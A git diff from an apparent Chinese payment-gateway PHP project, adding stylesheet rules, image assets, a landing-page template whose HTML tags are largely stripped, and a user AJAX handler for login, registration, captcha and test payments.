.panel-font { + color: #134280; + opacity: 1; +} + +.tokensale .faqs .q-a, .presale .faqs, .q-a { + padding: 20px; + padding-bottom: 40px; + margin: 20px; +} +.tokensale .faqs .question, .presale .faqs .question { + font-weight: bold; + font-size: 22px; + margin-bottom: 5px; +} + + +/* -------------------------------- + Presale class +-------------------------------- */ + +.presale .tokensale-countdown { + margin-bottom: 20px; +} +.presale .presale-contents input { + max-width: 100%; + max-height: 6em; +} + +.presale .presale-contents { + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + margin: 0 auto; +} +.presale .presale-calculator { + display: flex; + justify-content: center; +} +.presale .presale-calculator-results { + display: flex; + flex-direction: row; + flex-wrap: wrap; + justify-content: center; + align-items: center; +} +@media (max-width: 700px) { + .presale .presale-calculator-results { + flex-direction: column; + } +} +.presale .presale-calculator-results div { + padding: 0 1em; + width: 300px; +} +.presale .presale-calculator-results div:nth-child(2) { + padding: 0 1em; + width: 100px; +} +.presale .presale-calculator-results .presale-results { + font-weight: bold; + color: #88c425 +} +.presale .presale-difference { + color: #88c425; + font-size: 32px; +} +.presale .presale-disclaimer { + color: #ccc; +} +.presale .presale-form h3 { + padding: 1em 1.5em; +} + +#token-webapp { + height: 1440px; +} + +/* -------------------------------- + +Conversion + +-------------------------------- */ +.conversion, +.conversion h1, +.conversion h2, +.conversion h3, +.conversion h4, +.conversion h5, +.conversion h6 { + color: #fff; +} + +/* -------------------------------- + +Media Queries + +-------------------------------- */ + + +@media (min-width: 1200px) { + .text-left-lg { + text-align: left; + } + .text-right-lg { + text-align: right; + } + .text-center-lg { + text-align: center; + } + .navbar-page { + padding-left: 30px; + padding-right: 30px; + } + .home .plan { + margin: 2em 1em; + } +} + +@media (min-width: 992px) and (max-width: 1199px) { + .text-left-md { + text-align: left; + } + .text-right-md { + text-align: right; + } + .text-center-md { + text-align: center; + } + .value p { + font-size: 14px; + } + .team-member { + padding: 30px 0; + } + .panel-card { + padding: 44px 22px; + } +} + +@media (max-width: 991px) { + .text-left-sm { + text-align: left; + } + .text-right-sm { + text-align: right; + } + .text-center-sm { + text-align: center; + } + .upload { + padding: 0; + margin: 1em auto; + } + .upload-gui { + margin-top: 1em; + } + .navbar-nav>li>a, .navbar-page .navbar-nav>li>a { + padding: 40px 8px; + font-size: 14px; + } + .btn-menu { + padding-left: 15px; + padding-right: 15px; + } + .team-member { + width: 50%; + } + #token-webapp { + height: 1540px; + } +} + +@media (min-width: 767px) and (max-width: 991px) { + .logo { + margin: 0; + margin-right: 8px; + } +} + +@media (max-width: 767px) { + .text-left-xs { + text-align: left; + } + .text-right-xs { + text-align: right; + } + .text-center-xs { + text-align: center; + } + .header { + height: auto; + min-height: 600px; + padding-bottom: 5em; + } + .header-content { + position: relative; + } + .headlines { + top: auto; + } + .navbar-page .logo { + margin-left: 0; + } + .navbar-right { + text-align: center; + padding-bottom: 1em; + } + .navbar-page .navbar-nav>li>a { + padding: 16px; + width: 90%; + } + .navbar-page .navbar-nav>li>a.active { + background: #2683ff; + color: #fff; + box-shadow: none; + } + .navbar-page .navbar-nav>li>a:hover, .navbar-page .navbar-nav>li>a:focus { + box-shadow: none; + background: #f2f2f2; + } + .navbar-page .navbar-nav>li>a.active:hover, .navbar-page .navbar-nav>li>a.active:focus { + background: #2683ff; + } + .navbar-default .navbar-toggle { + margin-top: 2em; + margin-right: 2em; + } + .navbar-default .navbar-nav .open .dropdown-menu>li>a { + color: #fff; + } + .navbar-page .navbar-nav .open .dropdown-menu>li>a { + color: #333; + font-size: 14px; + } + ..navbar-page .navbar-nav .open .dropdown-menu>li>a { + color: #333; + font-size: 14px; + } + .navbar-default .navbar-nav .open .dropdown-menu>li>a:hover, .navbar-default .navbar-nav .open .dropdown-menu>li>a:focus { + color: #fff; + text-decoration: underline; + } + .navbar-page .navbar-nav .open .dropdown-menu>li>a:hover, .navbar-page .navbar-nav .open .dropdown-menu>li>a:focus { + color: #2683ff; + text-decoration: underline; + background: #f2f2f2; + } + .navbar .dropdown.open { + border-bottom: 1px solid rgba(0,0,0,0.2); + } + .navbar-page .dropdown.open { + border-bottom: 0; + } + .navbar-page .open .dropdown-menu { + background-color: #f9f9f9; + } + .home .navbar .dropdown-menu { + border: 1px solid rgba(255, 255, 255, 0.2); + background: rgba(0,0,0,0.4); + border: 0; + text-indent: -8px; + } + + .navbar-page .dropdown-menu { + text-indent: -8px; + } + .navbar li.dropdown { + width: 100%; + } + .navbar .dropdown { + box-shadow: none; + } + .navbar-nav .open .dropdown-menu>li>a { + line-height: 42px; + text-align: center; + } + .btn-menu { + width: 100%; + margin: 0.5em 0; + } + .navbar-page .btn-rent { + width: 90% !important; + margin-top: 18px; + } + .navbar-page .btn-rent:hover { + background: #fff !important; + } + .home .nav>li>.link:hover, .home .nav>li>.link:focus { + border-bottom: 0; + } + .navbar-nav>li>a { + padding: 20px 10px; + } + .btn-rent { + margin: 1em auto; + } + .compare-product { + padding: 0; + } + .compare-pricing { + font-size: 24px; + margin-top: 1.2em; + } + .compare-pricing span { + margin-left: 6px; + } + .compare-logo { + max-width: 150px; + height: auto; + } + .team-member { + padding: 30px 8px; + } + footer .address address { + color: #fff; + } + #token-webapp { + height: 1800px; + } +} + +@media (max-width: 480px) { + .section { + padding: 2em 0; + } + .logo { + width: 100px; + } + .home .navbar-brand { + margin: 25px 0; + } + .navbar-page .navbar-brand { + margin: 15px; + } + .navbar-page .navbar-toggle { + margin-top: 22px; + margin-right: 1em; + } + .btn-action { + padding-left: 10px; + padding-right: 10px; + } + .btn-download { + padding: 22px; + font-size: 16px; + } + .page .btn-block { + font-size: 16px; + } + .headlines { + padding: 0; + } + h1 { + font-size: 32px; + } + .page .title { + font-size: 32px; + } + .btn { + padding-left: 20px; + padding-right: 20px; + } + .headlines h1 { + font-size: 32px; + line-height: 46px; + } + .headlines p { + padding-bottom: 16px; + font-size: 16px; + } + .panel-card { + padding: 28px; + } + .pricing { + padding: 2em 0 4em; + } + .plans { + margin: 0 auto 1em; + } + .traction img { + margin-top: 0.6em; + margin-bottom: 1.5em; + } + .traction h2 { + font-size: 21px; + } + .slick-next { + right: -9px !important; + } + .slick-prev { + left: -9px !important; + } + .c2a-wrapper { + padding: 3em 0 3.5em; + } + .c2a h1 { + font-size: 32px; + line-height: 46px; + } + .c2a p { + font-size: 16px; + } + .compare-pricing { + font-size: 18px; + margin-top: 1em; + } + .compare-pricing span { + font-size: 16px; + margin-left: 0; + display: block; + } + .compare-logo { + max-width: 130px; + height: auto; + } + .team { + padding-top: 50px !important; + } + .team-member { + width: 100%; + padding: 10px 20px; + } + footer h4 { + margin-top: 2em; + padding-bottom: 0; + } + .footer-logo p { + display: block; + } + .tokensale-headline { + font-size: 32px; + } + .tokensale-banner .lead { + font-size: 14px; + } + #token-webapp { + height: 2000px; + } + .tokensale .why-token-point { + padding: 20px 40px; + } + .tokensale .ethaddress { + font-size: 0.8em; + padding: 2em 0; + } + + h1 #board_title { + text-align: center; + } + +} + +/* Timeline */ +.timeline, +.timeline-horizontal { +list-style: none; +padding: 20px; +position: relative; +} +.timeline:before { +top: 40px; +bottom: 0; +position: absolute; +content: " "; +width: 3px; +background-color: #eeeeee; +left: 50%; +margin-left: -1.5px; +} +.timeline .timeline-item { +margin-bottom: 20px; +position: relative; +} +.timeline .timeline-item:before, +.timeline .timeline-item:after { +content: ""; +display: table; +} +.timeline .timeline-item:after { +clear: both; +} +.timeline .timeline-item .timeline-badge { +color: #fff; +width: 26px; +height: 26px; +line-height: 52px; +font-size: 22px; +text-align: center; +position: absolute; +top: 18px; +left: 50%; +margin-left: -9px; +background-color: #7c7c7c; +border: 3px solid #ffffff; +z-index: 100; +border-top-right-radius: 50%; +border-top-left-radius: 50%; +border-bottom-right-radius: 50%; +border-bottom-left-radius: 50%; +} +.timeline .timeline-item .timeline-badge i, +.timeline .timeline-item .timeline-badge .fa, +.timeline .timeline-item .timeline-badge .glyphicon { +top: 2px; +left: 0px; +} +.timeline .timeline-item .timeline-badge.primary { +background-color: #2683FF; +} +.timeline .timeline-item .timeline-badge.info { +background-color: #5bc0de; +} +.timeline .timeline-item .timeline-badge.success { +background-color: #59ba1f; +} +.timeline .timeline-item .timeline-badge.warning { +background-color: #d1bd10; +} +.timeline .timeline-item .timeline-badge.danger { +background-color: #ba1f1f; +} +.timeline .timeline-item .timeline-panel-genesis { + position: relative; + width: 46%; + float: left; + right: 16px; + border: 1px solid #c0c0c0; + background: #ffffff; + border-radius: 2px; + padding: 20px; + -webkit-box-shadow: 0 1px 6px rgba(0, 0, 0, 0.175); + box-shadow: 0 1px 6px rgba(0, 0, 0, 0.175); + } + .timeline .timeline-item .timeline-panel-genesis:before { + position: absolute; + top: 26px; + right: -16px; + display: inline-block; + border-top: 16px solid transparent; + border-left: 16px solid #c0c0c0; + border-right: 0 solid #c0c0c0; + border-bottom: 16px solid transparent; + content: " "; + } +.timeline .timeline-item .timeline-panel { +position: relative; +width: 46%; +float: left; +right: 16px; +border: 1px solid #c0c0c0; +background: #ffffff; +border-radius: 2px; +padding: 20px; +-webkit-box-shadow: 0 1px 6px rgba(0, 0, 0, 0.175); +box-shadow: 0 1px 6px rgba(0, 0, 0, 0.175); +} +.timeline .timeline-item .timeline-panel:before { +position: absolute; +top: 26px; +right: -16px; +display: inline-block; +border-top: 16px solid transparent; +border-left: 16px solid #c0c0c0; +border-right: 0 solid #c0c0c0; +border-bottom: 16px solid transparent; +content: " "; +} +.timeline .timeline-item .timeline-panel .timeline-title { +margin-top: 0; +color: inherit; +} +.timeline .timeline-item .timeline-panel .timeline-body > p, +.timeline .timeline-item .timeline-panel .timeline-body > ul { +margin-bottom: 0; +} +.timeline .timeline-item .timeline-panel .timeline-body > p + p { +margin-top: 5px; +} +.timeline .timeline-item:last-child:nth-child(even) { +float: right; +} +.timeline .timeline-item:nth-child(even) .timeline-panel-genesis { + float: right; + left: 16px; + } + .timeline .timeline-item:nth-child(even) .timeline-panel-genesis:before { + border-left-width: 0; + border-right-width: 14px; + left: -14px; + right: auto; + } + +.timeline .timeline-item:nth-child(even) .timeline-panel { +float: right; +left: 16px; +} +.timeline .timeline-item:nth-child(even) .timeline-panel:before { +border-left-width: 0; +border-right-width: 14px; +left: -14px; +right: auto; +} +.timeline-horizontal { +list-style: none; +position: relative; +padding: 20px 0px 20px 0px; +display: inline-block; +} +.timeline-horizontal:before { +height: 3px; +top: auto; +bottom: 26px; +left: 56px; +right: 0; +width: 100%; +margin-bottom: 20px; +} +.timeline-horizontal .timeline-item { +display: table-cell; +height: 280px; +width: 20%; + +float: none !important; +padding-left: 0px; +padding-right: 20px; +margin: 0 auto; +vertical-align: bottom; +} +.timeline-horizontal .timeline-item .timeline-panel-genesis { + top: auto; + bottom: 64px; + display: inline-block; + float: none !important; + left: 0 !important; + right: 0 !important; + height: 114px; + width: 160px; + margin-bottom: 20px; + margin-right:10px; + border: 1px solid #E2E2E2; border-radius: 4px; background-color: #FFFFFF; box-shadow: 0 2px 12px 0 rgba(0,0,0,0.09); + } + + .timeline-horizontal .timeline-item .timeline-panel-genesis:before { + top: auto; + bottom: -16px; + left: 28px !important; + right: auto; + border-right: 16px solid transparent !important; + border-top: 16px solid #c0c0c0 !important; + border-bottom: 0 solid #c0c0c0 !important; + border-left: 16px solid transparent !important; + } + +.timeline-horizontal .timeline-item .timeline-panel { +top: auto; +bottom: 64px; +display: inline-block; +float: none !important; +left: 0 !important; +right: 0 !important; +height: 114px; +width: 160px; +margin-bottom: 20px; +margin-right:10px; +border: 1px solid #E2E2E2; border-radius: 4px; background-color: #FFFFFF; box-shadow: 0 2px 12px 0 rgba(0,0,0,0.09); +} + +.timeline-horizontal .timeline-item .timeline-panel:before { +top: auto; +bottom: -16px; +left: 28px !important; +right: auto; +border-right: 16px solid transparent !important; +border-top: 16px solid #c0c0c0 !important; +border-bottom: 0 solid #c0c0c0 !important; +border-left: 16px solid transparent !important; +} + + + +.timeline-horizontal .timeline-item:before, +.timeline-horizontal .timeline-item:after { +display: none; +} +.timeline-horizontal .timeline-item .timeline-badge { +top: auto; +bottom: 14px; +left: 43px; +} + +.milestones::-webkit-scrollbar { + width: 0px; + background: transparent; /* make scrollbar transparent */ +} + +.white-paper-header-bg{ + + background: url("../images/background.png") center top no-repeat; + background-size: cover; + +} + +.community-bg { + margin:0px; + background: url("../images/combkgrnd.png") center top no-repeat; + background-size: cover; +} + +.community-city{ + height:445px; + width:1086px; + background: url("../images/comcity.png") center top no-repeat; + background-size: cover; +} + + +.dev-banner-img{ + margin:0px; + background: url("../images/dev-banner-image.png") center top no-repeat; + background-size: cover; +} +/*.bg img{width:100%; margin-top:80px;}*/ diff --git a/template/index9/assets/picture/bg2.png b/template/index9/assets/picture/bg2.png new file mode 100644 index 0000000..0f27e8c Binary files /dev/null and b/template/index9/assets/picture/bg2.png differ diff --git a/template/index9/assets/picture/daoyan.png b/template/index9/assets/picture/daoyan.png new file mode 100644 index 0000000..766121b Binary files /dev/null and b/template/index9/assets/picture/daoyan.png differ diff --git a/template/index9/assets/picture/doudou.svg b/template/index9/assets/picture/doudou.svg new file mode 100644 index 0000000..d89e66f --- /dev/null +++ b/template/index9/assets/picture/doudou.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/easy.svg b/template/index9/assets/picture/easy.svg new file mode 100644 index 0000000..b889149 --- /dev/null +++ b/template/index9/assets/picture/easy.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/easyapi-logo.svg b/template/index9/assets/picture/easyapi-logo.svg new file mode 100644 index 0000000..f548ea1 --- /dev/null +++ b/template/index9/assets/picture/easyapi-logo.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/logo1.ico b/template/index9/assets/picture/logo1.ico new file mode 100644 index 0000000..a84360d Binary files /dev/null and b/template/index9/assets/picture/logo1.ico differ diff --git a/template/index9/assets/picture/money.svg b/template/index9/assets/picture/money.svg new file mode 100644 index 0000000..3c9c8ea --- /dev/null +++ b/template/index9/assets/picture/money.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/risk.svg b/template/index9/assets/picture/risk.svg new file mode 100644 index 0000000..a0b44ed --- /dev/null +++ b/template/index9/assets/picture/risk.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/server.svg b/template/index9/assets/picture/server.svg new file mode 100644 index 0000000..832aaea --- /dev/null +++ b/template/index9/assets/picture/server.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/shop2.svg b/template/index9/assets/picture/shop2.svg new file mode 100644 index 0000000..1b0e2a6 --- /dev/null +++ b/template/index9/assets/picture/shop2.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/ssl.svg b/template/index9/assets/picture/ssl.svg new file mode 100644 index 0000000..35665da --- /dev/null +++ b/template/index9/assets/picture/ssl.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/assets/picture/wechatpay.svg b/template/index9/assets/picture/wechatpay.svg new file mode 100644 index 0000000..7f6eff8 --- /dev/null +++ b/template/index9/assets/picture/wechatpay.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/template/index9/index.php b/template/index9/index.php new file mode 100644 index 0000000..dc33ac7 --- /dev/null +++ b/template/index9/index.php @@ -0,0 +1,300 @@ + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + +
                                  + +
                                  + +
                                  + + +
                                  +
                                  +
                                  +
                                  +

                                  每个梦想,都值得灌溉

                                  +

                                  + 旨在解决需要使用交易数据流的企业发卡、个人发卡、主机IDC等网站支付需求,提供的一个正规、安全、稳定、可靠、丰富的支付接口 API, + 帮助开发者等个人主体快速使想法转变为产品原型。让创造价值的人体现价值。

                                  +
                                  +

                                  帮助开发者快速将支付(支付宝,钱包,微信)集成到自己相应产品,效率高,见效快,费率低

                                  +
                                  +

                                  Make Something Amazing

                                  +
                                  + + +
                                  + + +
                                  + +
                                  + +
                                  +
                                  +
                                  + + +
                                  + +
                                  +
                                  + + + + + + +
                                  + +
                                  + +
                                  + Open-Source Software +
                                  + +

                                  安全保证

                                  +

                                  多重账号保护措施安全可靠;业内费率低,维护商户利益,7*24小时全天候服务;

                                  +
                                  + + +
                                  + +
                                  + Open-Source Software +
                                  +

                                  资金安全

                                  +

                                  只负责交易处理不参与资金清算 保障您的资金安全

                                  + + +
                                  + + +
                                  + +
                                  + Open-Source Software +
                                  + +

                                  高效服务

                                  +

                                  产品服务灵活组合
                                  满足企业 多元化 业务需求

                                  +
                                  +
                                  + +
                                  + +
                                  +
                                  + Open-Source Software +
                                  +

                                  极简使用

                                  +

                                  七行代码,极速完成,支付SDK接入 简洁的操作界面易于使用

                                  +
                                  + +
                                  +
                                  + Open-Source Software +
                                  +

                                  简单易用

                                  +

                                  对于线下收款商户,免开发直接使用。开发者可自行对接使用

                                  +
                                  + +
                                  +
                                  + Open-Source Software +
                                  +

                                  完整 API + 开源代码

                                  +

                                  提供完整的 API 和丰富的开源开发包、SDK、DEMO 供接入参考

                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +

                                  产品价格

                                  +
                                  + 使用费用 = 订单费率 + 手续费 + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  一次性注册费用

                                  + +

                                  收取注册费用

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  三网支付订单费率

                                  + +

                                  3%官方收取

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  站长创业资助

                                  + +

                                  1-2%初创项目有减免机制最低0.8%

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + +
                                  +
                                  +
                                  +

                                  开通流程

                                  +
                                  + 自助开户,开通流程大概需要 3 分钟 +
                                  +
                                  + + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                    ©  All Rights Reserved. 
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + + \ No newline at end of file diff --git a/template/index9/preview.png b/template/index9/preview.png new file mode 100644 index 0000000..d9fb5a3 Binary files /dev/null and b/template/index9/preview.png differ diff --git a/user/ajax.php b/user/ajax.php new file mode 100644 index 0000000..8949e0e --- /dev/null +++ b/user/ajax.php @@ -0,0 +1,394 @@ +0 && $money>$conf['pay_maxmoney'])exit('{"code":-1,"msg":"最大支付金额是'.$conf['pay_maxmoney'].'元"}'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])exit('{"code":-1,"msg":"最小支付金额是'.$conf['pay_minmoney'].'元"}'); + if($conf['captcha_open_test']==1){ + if(!isset($_SESSION['gtserver']))exit('{"code":-1,"msg":"验证加载失败"}'); + if(!verify_captcha())exit('{"code":-1,"msg":"验证失败,请重新验证"}'); + } + + $trade_no=date("YmdHis").rand(11111,99999); + $return_url=$siteurl.'user/test.php?ok=1&trade_no='.$trade_no; + $domain=getdomain($return_url); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`domain`,`ip`,`status`) VALUES (:trade_no, :out_trade_no, :uid, 3, NOW(), :name, :money, :notify_url, :return_url, :domain, :clientip, 0)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['test_pay_uid'], ':name'=>$name, ':money'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip]))exit('{"code":-1,"msg":"创建订单失败,请返回重试!"}'); + $result = ['code'=>0, 'msg'=>'succ', 'url'=>'../submit2.php?typeid='.$typeid.'&trade_no='.$trade_no]; + exit(json_encode($result)); +break; +case 'login': + $type=intval($_POST['type']); + $user=trim($_POST['user']); + $pass=trim($_POST['pass']); + if(empty($user) || empty($pass))exit('{"code":-1,"msg":"请确保各项不能为空"}'); + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + + if($conf['captcha_open_login']==1){ + if(!isset($_SESSION['gtserver']))exit('{"code":-1,"msg":"验证加载失败"}'); + if(!verify_captcha())exit('{"code":-1,"msg":"验证失败,请重新验证"}'); + } + + if($type==1 && is_numeric($user) && strlen($user)<=6)$type=0; + if($type==1){ + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE email=:user OR phone=:user limit 1", [':user'=>$user]); + $pass=getMd5Pwd($pass, $userrow['uid']); + }else{ + if($conf['close_keylogin']==1)exit('{"code":-1,"msg":"未开启密钥登录,请使用账号密码登录!"}'); + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid=:user limit 1", [':user'=>$user]); + if($userrow && $userrow['keylogin']==0){ + exit('{"code":-1,"msg":"该商户未开启密钥登录,请使用账号密码登录!"}'); + } + } + if($userrow && ($type==0 && $pass==$userrow['key'] || $type==1 && $pass==$userrow['pwd'])) { + $uid = $userrow['uid']; + if($alipay_uid=$_SESSION['Oauth_alipay_uid']){ + $DB->update('user', ['alipay_uid'=>$alipay_uid], ['uid'=>$uid]); + unset($_SESSION['Oauth_alipay_uid']); + } + if($qq_uid=$_SESSION['Oauth_qq_uid']){ + $DB->update('user', ['qq_uid'=>$qq_uid], ['uid'=>$uid]); + unset($_SESSION['Oauth_qq_uid']); + } + $city=get_ip_city($clientip); + $DB->insert('log', ['uid'=>$uid, 'type'=>'普通登录', 'date'=>'NOW()', 'ip'=>$clientip, 'city'=>$city]); + + if(!isset($_SESSION['wxnotice_login_uid']) || $_SESSION['wxnotice_login_uid']!=$uid){ + if(\lib\MsgNotice::send('login', $uid, ['user'=>$user, 'clientip'=>$clientip, 'ipinfo'=>$city, 'time'=>date('Y-m-d H:i:s')])){ + $_SESSION['wxnotice_login_uid'] = $uid; + } + } + $session=md5($uid.$userrow['key'].$password_hash); + $expiretime=time()+604800; + $token=authcode("{$uid}\t{$session}\t{$expiretime}", 'ENCODE', SYS_KEY); + ob_clean(); + setcookie("user_token", $token, time() + 2592000); + $DB->exec("update `pre_user` set `lasttime`=NOW() where `uid`='$uid'"); + if(empty($userrow['account']) || empty($userrow['username'])){ + $result=array("code"=>0,"msg"=>"登录成功!正在跳转到收款账号设置","url"=>"./editinfo.php?start=1"); + }else{ + $result=array("code"=>0,"msg"=>"登录成功!正在跳转到用户中心","url"=>"./"); + } + unset($_SESSION['csrf_token']); + }else { + $result=array("code"=>-1,"msg"=>"用户名或密码不正确!"); + } + exit(json_encode($result)); +break; +case 'connect': + $type = isset($_POST['type'])?$_POST['type']:exit('{"code":-1,"msg":"no type"}'); + $bind = isset($_POST['bind'])?$_POST['bind']:null; + if($type == 'qq' && $conf['login_qq']==3 || $type == 'wx' && $conf['login_wx']==-1 || $type == 'alipay' && $conf['login_alipay']==-1){ + if(!$conf['login_apiurl'] || !$conf['login_appid'] || !$conf['login_appkey'])exit('{"code":-1,"msg":"未配置好聚合登录信息"}'); + $Oauth_config = [ + 'apiurl' => $conf['login_apiurl'], + 'appid' => $conf['login_appid'], + 'appkey' => $conf['login_appkey'], + 'callback' => $siteurl.'user/connect.php' + ]; + $Oauth = new \lib\Oauth($Oauth_config); + $res = $Oauth->login($type); + if(isset($res['code']) && $res['code']==0){ + $result = ['code'=>0, 'url'=>$res['url']]; + }elseif(isset($res['code'])){ + $result = ['code'=>-1, 'msg'=>$res['msg']]; + }else{ + $result = ['code'=>-1, 'msg'=>'聚合登录接口请求失败']; + } + }elseif($type == 'qq' && $conf['login_qq']==1){ + $QC_config = [ + 'appid' => $conf['login_qq_appid'], + 'appkey' => $conf['login_qq_appkey'], + 'callback' => $siteurl.'user/connect.php' + ]; + $QC=new \lib\QC($QC_config); + $url = $QC->qq_login(true); + $result = ['code'=>0, 'url'=>$url]; + }elseif($type == 'qq' && $conf['login_qq']==2){ + $result = ['code'=>0, 'url'=>'connect.php'.($bind=='1'?'?bind=1':'')]; + }elseif($type == 'wx' && $conf['login_wx']>0){ + $result = ['code'=>0, 'url'=>'wxlogin.php'.($bind=='1'?'?bind=1':'')]; + }elseif($type == 'alipay' && $conf['login_alipay']>0){ + $result = ['code'=>0, 'url'=>'oauth.php'.($bind=='1'?'?bind=1':'')]; + }else{ + $result = ['code'=>-1, 'msg'=>'未开启当前登录方式']; + } + exit(json_encode($result)); +break; +case 'captcha': + if($conf['captcha_version'] == '1'){ + $captcha_id = !empty($conf['captcha_id'])?$conf['captcha_id']:'54088bb07d2df3c46b79f80300b0abbe'; + $result = ['success'=>1, 'gt'=>$captcha_id, 'version'=>1]; + }else{ + $GtSdk = new \lib\GeetestLib($conf['captcha_id'], $conf['captcha_key']); + $data = array( + 'user_id' => isset($uid)?$uid:'public', + 'client_type' => "web", + 'ip_address' => $clientip + ); + $result = $GtSdk->pre_process($data); + $result['version'] = 0; + } + $_SESSION['gtserver'] = $result['success']; + exit(json_encode($result)); +break; +case 'sendcode': + $sendto=htmlspecialchars(strip_tags(trim($_POST['sendto']))); + if($conf['reg_open']==0)exit('{"code":-1,"msg":"未开放商户申请"}'); + if(isset($_SESSION['send_code_time']) && $_SESSION['send_code_time']>time()-10){ + exit('{"code":-1,"msg":"请勿频繁发送验证码"}'); + } + + if(!isset($_SESSION['gtserver']))exit('{"code":-1,"msg":"验证加载失败"}'); + if(!verify_captcha())exit('{"code":-1,"msg":"验证失败,请重新验证"}'); + + if($conf['verifytype']==1){ + $row=$DB->getRow("select * from pre_user where phone=:phone limit 1", [':phone'=>$sendto]); + if($row){ + exit('{"code":-1,"msg":"该手机号已经注册过商户,如需找回商户信息,请返回登录页面点击找回商户"}'); + } + $type = 1; + }else{ + $row=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$sendto]); + if($row){ + exit('{"code":-1,"msg":"该邮箱已经注册过商户,如需找回商户信息,请返回登录页面点击找回商户"}'); + } + $type = 0; + } + $result = \lib\VerifyCode::send_code('reg', $type, $sendto); + if($result === true){ + $_SESSION['send_code_time']=time(); + exit('{"code":0,"msg":"succ"}'); + }else{ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } +break; +case 'reg': + if($conf['reg_open']==0)exit('{"code":-1,"msg":"未开放商户申请"}'); + $email=htmlspecialchars(strip_tags(trim($_POST['email']))); + $phone=htmlspecialchars(strip_tags(trim($_POST['phone']))); + $code=trim($_POST['code']); + $pwd=trim($_POST['pwd']); + $invitecode=trim($_POST['invitecode']); + + if(isset($_SESSION['reg_submit']) && $_SESSION['reg_submit']>time()-600){ + exit('{"code":-1,"msg":"请勿频繁注册"}'); + } + if($conf['verifytype']==1 && empty($phone) || $conf['verifytype']==0 && empty($email) || empty($code) || empty($pwd)){ + exit('{"code":-1,"msg":"请确保各项不能为空"}'); + } + if(!$_POST['csrf_token'] || $_POST['csrf_token']!=$_SESSION['csrf_token'])exit('{"code":-1,"msg":"CSRF TOKEN ERROR"}'); + if (strlen($pwd) < 6) { + exit('{"code":-1,"msg":"密码不能低于6位"}'); + }elseif ($pwd == $email) { + exit('{"code":-1,"msg":"密码不能和邮箱相同"}'); + }elseif ($pwd == $phone) { + exit('{"code":-1,"msg":"密码不能和手机号码相同"}'); + }elseif (is_numeric($pwd)) { + exit('{"code":-1,"msg":"密码不能为纯数字"}'); + } + + if($conf['reg_open']==2){ + $inviterow = $DB->find('invitecode', '*', ['code'=>$invitecode]); + if(!$inviterow)exit('{"code":-1,"msg":"邀请码不存在"}'); + if($inviterow['status']==1)exit('{"code":-1,"msg":"邀请码已被使用"}'); + } + + if($conf['verifytype']==1){ + if(!is_numeric($phone) || strlen($phone)!=11){ + exit('{"code":-1,"msg":"手机号码不正确"}'); + } + $row=$DB->getRow("select * from pre_user where phone=:phone limit 1", [':phone'=>$phone]); + if($row){ + exit('{"code":-1,"msg":"该手机号已经注册过商户,如需找回商户信息,请返回登录页面点击找回商户"}'); + } + }else{ + if(!preg_match('/^[A-z0-9._-]+@[A-z0-9._-]+\.[A-z0-9._-]+$/', $email)){ + exit('{"code":-1,"msg":"邮箱格式不正确"}'); + } + $row=$DB->getRow("select * from pre_user where email=:email limit 1", [':email'=>$email]); + if($row){ + exit('{"code":-1,"msg":"该邮箱已经注册过商户,如需找回商户信息,请返回登录页面点击找回商户"}'); + } + } + if($conf['verifytype']==1){ + $sendto = $phone; + $type = 1; + }else{ + $sendto = $email; + $type = 0; + } + $result = \lib\VerifyCode::verify_code('reg', $type, $sendto, $code); + if($result !== true){ + exit(json_encode(['code'=>-1, 'msg'=>$result])); + } + $upid = $_SESSION['invite_uid']?$_SESSION['invite_uid']:0; + if($conf['reg_pay']==1){ + $urow = $DB->getRow("SELECT uid,gid FROM pre_user WHERE uid='{$conf['reg_pay_uid']}' limit 1"); + if(!$urow)exit('{"code":-1,"msg":"注册收款商户ID不存在"}'); + $return_url = $siteurl.'user/reg.php?regok=1'; + $trade_no=date("YmdHis").rand(11111,99999); + $domain=getdomain($return_url); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`domain`,`ip`,`status`) VALUES (:trade_no, :out_trade_no, :uid, 1, NOW(), :name, :money, :notify_url, :return_url, :domain, :clientip, 0)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$conf['reg_pay_uid'], ':name'=>'商户申请', ':money'=>$conf['reg_pay_price'], ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip])) + 